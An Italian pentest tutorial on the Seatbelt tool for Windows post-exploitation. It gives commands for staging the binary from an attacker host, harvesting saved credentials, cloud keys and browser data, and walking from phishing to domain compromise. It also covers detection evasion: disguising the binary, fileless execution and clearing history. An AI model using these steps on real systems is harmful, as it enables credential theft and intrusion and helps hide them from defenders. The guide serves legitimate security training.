Seatbelt: Windows Enumeration per Post-Exploitation e Situational Awareness

Seatbelt è uno strumento di enumerazione Windows che raccoglie informazioni su sistema, utenti, privilegi e configurazioni utili alla privilege escalation.
- Pubblicato il 2026-02-25
- Tempo di lettura: 5 min
Seatbelt è un progetto C# sviluppato da GhostPack per eseguire security checks orientati all’offense su sistemi Windows. A differenza di tool come WinPEAS che eseguono enumeration massiva e rumorosa, Seatbelt offre controlli modulari e mirati, output parsabile e detection footprint ridotto. In questa guida impari a eseguire enumeration chirurgica, identificare vettori di privilege escalation e integrare Seatbelt in attack chain professionali.
Posizione nella Kill Chain #
Seatbelt opera nella fase di post-exploitation enumeration, tra l’ottenimento del foothold iniziale e l’exploitation dei vettori di privilege escalation:
Initial Access → [SEATBELT] → PrivEsc Vector Identification → Exploitation → Lateral Movement1️⃣ Setup e Installazione #
Download Pre-compilato #
# Da GitHub releases (verifica ultima versione)
wget https://github.com/GhostPack/Seatbelt/releases/latest/download/Seatbelt.exeCompilazione da Source #
git clone https://github.com/GhostPack/Seatbelt.git
cd Seatbelt/SeatbeltApri Seatbelt.sln in Visual Studio e compila in Release mode. Il binario sarà in bin/Release/Seatbelt.exe.
Trasferimento su Target #
# PowerShell download
Invoke-WebRequest http://192.168.1.50/Seatbelt.exe -OutFile C:\Windows\Temp\sb.exe
# Certutil (LOLBIN)
certutil -urlcache -split -f http://192.168.1.50/Seatbelt.exe C:\Windows\Temp\sb.exe
# Via SMB
copy \\192.168.1.50\share\Seatbelt.exe C:\Windows\Temp\sb.exeVerifica Funzionamento #
C:\Windows\Temp\sb.exe -group=userOutput atteso:
%&&@@@&&
&&&&&&&%%%, #702: Seatbelt v1.2.1
&%& (%&&% GhostPack: https://github.com/GhostPack/Seatbelt
...
====== Running as: CORP\lowpriv ======Requisiti #
- .NET Framework 4.0+
- Funziona come utente standard (alcuni moduli richiedono admin)
- Windows 7+ / Server 2008 R2+
2️⃣ Uso Base #
Gruppi di Check Predefiniti #
Seatbelt organizza i check in gruppi logici:
# Tutti i check (rumoroso)
Seatbelt.exe -group=all
# Check user-context (non richiede admin)
Seatbelt.exe -group=user
# Check system-level (preferisce admin)
Seatbelt.exe -group=system
# Check misconfigurations
Seatbelt.exe -group=misc
# Check Chrome/browser
Seatbelt.exe -group=chromiumModuli Singoli #
# Credenziali salvate
Seatbelt.exe CredEnum
# Servizi con path vulnerabili
Seatbelt.exe Services
# AutoRuns per persistence
Seatbelt.exe AutoRuns
# Task schedulati
Seatbelt.exe ScheduledTasks
# Autologon credentials
Seatbelt.exe AutoLogonOutput Formats #
# Output standard (colored)
Seatbelt.exe -group=user
# Output JSON (per parsing)
Seatbelt.exe -group=user -outputfile=C:\Temp\out.json
# Output su file
Seatbelt.exe -group=all > C:\Temp\seatbelt.txt
# Quiet mode (meno verbose)
Seatbelt.exe -q -group=user3️⃣ Tecniche Operative #
Credential Enumeration #
Seatbelt.exe CredEnum WindowsVault CloudCredentials KeePass PuttySessionsOutput tipico:
====== CredEnum ======
CredType : DOMAIN_PASSWORD
TargetName : Domain:target=DC01.corp.local
UserName : CORP\svc_backup
LastWritten : 1/15/2024 10:30:00 AM
Comment :
Persist : Enterprise
====== CloudCredentials ======
Type : AWS
FilePath : C:\Users\admin\.aws\credentials
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEYService Misconfiguration Discovery #
Seatbelt.exe Services ModifiableServices InterestingServicesOutput:
====== Services ======
Non-Microsoft services:
Name : VulnService
DisplayName : Vulnerable Update Service
Description :
User : LocalSystem
State : Running
StartMode : Auto
PathName : C:\Program Files\Vuln App\service.exe
IsDotNet : False
====== ModifiableServices ======
Services with modifiable binpath by current user:
Name : WeakSvc
PathName : C:\Services\weak.exe
StartName : LocalSystem
State : StoppedBrowser Data Extraction #
Seatbelt.exe -group=chromiumOutput:
====== ChromiumBookmarks ======
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
Name: Corporate Wiki
URL: https://wiki.internal.corp.local/admin
Name: AWS Console
URL: https://console.aws.amazon.com
====== ChromiumHistory ======
Recent URLs:
2024-01-15 09:30 https://mail.corp.local
2024-01-15 09:45 https://admin.corp.local/panel
2024-01-15 10:00 https://192.168.10.50:8443/manage4️⃣ Tecniche Avanzate #
Remote Execution #
Seatbelt supporta esecuzione remota con credenziali:
Seatbelt.exe -group=user -computername=TARGET01 -username=CORP\admin -password=P@ssw0rd!Filtro Output con Regex #
Seatbelt.exe -group=all -filter="password|credential|key"Execute-Assembly (Cobalt Strike/Covenant) #
Per operazioni red team, esegui in memoria:
beacon> execute-assembly /path/to/Seatbelt.exe -group=userNessun file scritto su disco.
Combinazione Moduli Mirati #
Per assessment rapido senza rumore:
Seatbelt.exe CredEnum AutoLogon SavedRDPConnections PuttySessions CloudCredentials TokenPrivilegesFocus solo su credenziali e privilege, ignora il resto.
5️⃣ Scenari Pratici di Pentest #
Scenario 1: Rapid Credential Discovery #
Timeline: 5 minuti
Hai shell su workstation, obiettivo: trovare credenziali per lateral movement.
# COMANDO
Seatbelt.exe CredEnum WindowsVault CloudCredentials KeePass PuttySessions SavedRDPConnectionsOUTPUT ATTESO #
====== CredEnum ======
TargetName : Domain:target=FILESERVER
UserName : CORP\admin.backup
====== PuttySessions ======
Session : Linux-Prod
HostName : 10.10.10.50
UserName : root
====== CloudCredentials ======
AWS credentials found: C:\Users\dev\.aws\credentialsCOSA FARE SE FALLISCE #
- Access Denied su CredEnum: Normale per credenziali di altri utenti. Cerca altri moduli.
- Nessuna credenziale trovata: L’utente non ha salvato credenziali. Passa a service enumeration.
- Modulo non disponibile: Verifica versione Seatbelt e .NET Framework.
Scenario 2: Service PrivEsc Vector #
Timeline: 10 minuti
Cerchi service misconfiguration per privilege escalation.
# COMANDO
Seatbelt.exe Services ModifiableServices InterestingServices ModifiableServiceBinariesOUTPUT ATTESO #
====== ModifiableServices ======
Name : BackupSvc
PathName : C:\Backup\svc.exe
StartName : LocalSystem
CanRestart : True
[!] Current user can modify the service binary path!COSA FARE SE FALLISCE #
- Nessun servizio modificabile: Sistema hardened. Prova altri vettori (AutoRuns, Tasks).
- Can’t restart service: Attendi reboot o cerca altro vettore.
Scenario 3: Full System Audit #
Timeline: 15 minuti
Enumeration completa per report assessment.
# COMANDO
Seatbelt.exe -group=all -outputfile=C:\Temp\audit.jsonOUTPUT ATTESO #
====== Completed 87 checks in 45.2 seconds ======
Results written to C:\Temp\audit.jsonCOSA FARE SE FALLISCE #
- Timeout su alcuni moduli: Usa
-group=userse non hai admin. - File non creato: Verifica permessi su C:\Temp.
6️⃣ Toolchain Integration #
Flusso Operativo #
Foothold (Metasploit) → Seatbelt (enum) → SharpUp (exploit) → Mimikatz (creds)Passaggio Dati tra Tool #
# Seatbelt trova credenziali salvate
Seatbelt.exe CredEnum
# Output: CORP\svc_backup
# Usa credenziali con CrackMapExec
proxychains crackmapexec smb 10.10.10.0/24 -u svc_backup -p "FoundPassword" --samTabella: Quando Usare Seatbelt vs Alternative #
| Scenario | Seatbelt | WinPEAS | PowerUp |
|---|---|---|---|
| Stealth necessario | ✓ | ✗ | ✓ |
| Coverage massima | Parziale | ✓ | Parziale |
| Output JSON | ✓ | ✗ | ✗ |
| In-memory execution | ✓ | Difficile | ✓ |
| Modularità | Eccellente | Limitata | Buona |
| AV detection | Basso | Alto | Medio |
7️⃣ Attack Chain Completa #
Scenario: Domain Compromise da Workstation #
Timeline totale: 2 ore
Fase 1: Initial Access (20 min)
Phishing → Meterpreter shell su workstation.
Fase 2: Enumeration (15 min)
# Upload e esegui Seatbelt
upload /tools/Seatbelt.exe C:\\Windows\\Temp\\sb.exe
shell
C:\Windows\Temp\sb.exe -group=userOutput: trova PuTTY session con credenziali admin verso server interno.
Fase 3: Lateral Movement (15 min)
# Usa credenziali scoperte
proxychains ssh admin@10.10.10.50Fase 4: PrivEsc su Server (20 min)
# Sul server Linux
./linpeas.sh
# Trova SUID misconfigurationFase 5: Domain Escalation (30 min)
# Torna su Windows con nuove credenziali
# Usa BloodHound per path to DA
proxychains bloodhound-python -u admin -p 'P@ss' -d corp.local -c allFase 6: Domain Admin (20 min)
# Exploit path identificato
proxychains secretsdump.py corp.local/admin@DC018️⃣ Detection & Evasion #
Cosa Monitora il Blue Team #
| Detection Point | Event ID / Log | Descrizione |
|---|---|---|
| Process Creation | 4688 | Seatbelt.exe execution |
| .NET Loading | CLR events | Assembly loading |
| Registry Access | 4663 | Massive registry reads |
| Credential Access | 5379 | Credential Manager read |
Tecniche di Evasion #
1. Rename Binary
copy Seatbelt.exe MicrosoftEdgeUpdate.exe
MicrosoftEdgeUpdate.exe -group=user2. Execute-Assembly (Fileless)
beacon> execute-assembly C:\tools\Seatbelt.exe -group=user3. Moduli Selettivi
# Invece di -group=all, solo moduli specifici
Seatbelt.exe CredEnum Services
# Meno eventi generatiCleanup Post-Exploitation #
del C:\Windows\Temp\sb.exe
del C:\Temp\seatbelt.txt
# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath9️⃣ Performance & Scaling #
Benchmark Single Target #
| Gruppo | Tempo | Check Eseguiti |
|---|---|---|
| -group=user | ~15 sec | 35 |
| -group=system | ~25 sec | 28 |
| -group=all | ~60 sec | 87 |
Multi-Target via Script #
$targets = @("WS01", "WS02", "WS03")
foreach ($t in $targets) {
Invoke-Command -ComputerName $t -ScriptBlock {
C:\Windows\Temp\sb.exe -group=user
} | Out-File "C:\Results\$t.txt"
}Ottimizzazione Risorse #
- CPU: Impatto minimo (~5%)
- RAM: ~50MB durante esecuzione
- Disco: Solo se output su file
- Rete: Solo con
-computernameremoto
🔟 Tabelle Tecniche #
Command Reference Completa #
| Modulo | Descrizione | Privilegio |
|---|---|---|
| CredEnum | Windows Credential Manager | User |
| Services | Non-Microsoft services | User |
| ModifiableServices | Services with weak ACLs | User |
| AutoRuns | Persistence locations | User |
| ScheduledTasks | Task schedulati | User |
| TokenPrivileges | Current token privileges | User |
| UAC | UAC configuration | User |
| LAPS | LAPS configuration | Admin |
| LSASettings | LSA protection | Admin |
| PowerShellLogging | PS logging config | Admin |
Confronto Enumeration Tools #
| Feature | Seatbelt | WinPEAS | PowerUp | JAWS |
|---|---|---|---|---|
| Linguaggio | C# | C#/bat/ps1 | PowerShell | PowerShell |
| Stealth | Alto | Basso | Medio | Medio |
| Modularità | Eccellente | Limitata | Buona | Limitata |
| Output JSON | ✓ | ✗ | ✗ | ✗ |
| Remote Exec | ✓ | ✗ | ✗ | ✗ |
| AV Evasion | Buono | Scarso | Medio | Medio |
1️⃣1️⃣ Troubleshooting #
Errore: “Could not load file or assembly” #
.NET Framework mancante o versione errata.
# Verifica versione
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v ReleaseFix: Seatbelt richiede .NET 4.0+. Compila per versione inferiore se necessario.
Errore: “Access Denied” su Moduli #
Alcuni moduli richiedono admin.
Fix: Usa -group=user o esegui singoli moduli accessibili:
Seatbelt.exe CredEnum Services AutoRunsOutput Vuoto #
Sistema hardened o configurazione default.
Fix: Verifica con moduli diagnostici:
Seatbelt.exe OSInfoAV Detection #
Signature detection del binario.
Fix: Compila da source con modifiche minori o usa execute-assembly.
1️⃣2️⃣ FAQ #
Seatbelt vs WinPEAS: quale scegliere?
Seatbelt per operazioni stealth e output strutturato. WinPEAS per coverage massima quando detection non è un problema.
Funziona senza privilegi admin?
Sì, la maggior parte dei moduli funziona come user standard. Alcuni (LAPS, LSASettings) richiedono admin.
Come eseguo Seatbelt in memoria?
Via Cobalt Strike execute-assembly, Covenant, o reflection loading custom in PowerShell.
L’output JSON è compatibile con altri tool?
Sì, puoi parsarlo con jq, Python, o importarlo in SIEM per analisi.
Ogni quanto viene aggiornato?
GhostPack rilascia update periodici. Verifica GitHub per nuove versioni.
Posso aggiungere moduli custom?
Sì, il codice è open source. Puoi estendere i check modificando il source.
1️⃣3️⃣ Cheat Sheet #
| Operazione | Comando |
|---|---|
| All checks | Seatbelt.exe -group=all |
| User checks | Seatbelt.exe -group=user |
| System checks | Seatbelt.exe -group=system |
| Browser data | Seatbelt.exe -group=chromium |
| Credentials | Seatbelt.exe CredEnum CloudCredentials |
| Services | Seatbelt.exe Services ModifiableServices |
| JSON output | Seatbelt.exe -outputfile=out.json |
| Remote | Seatbelt.exe -computername=TARGET -username=USER -password=PASS |
| Quiet | Seatbelt.exe -q -group=user |
| Filter | Seatbelt.exe -group=all -filter="password" |
Uso consentito solo in ambienti autorizzati. Per penetration test professionali: hackita.it/servizi. Supporta HackIta: hackita.it/supporto.
Repository: GhostPack/Seatbelt







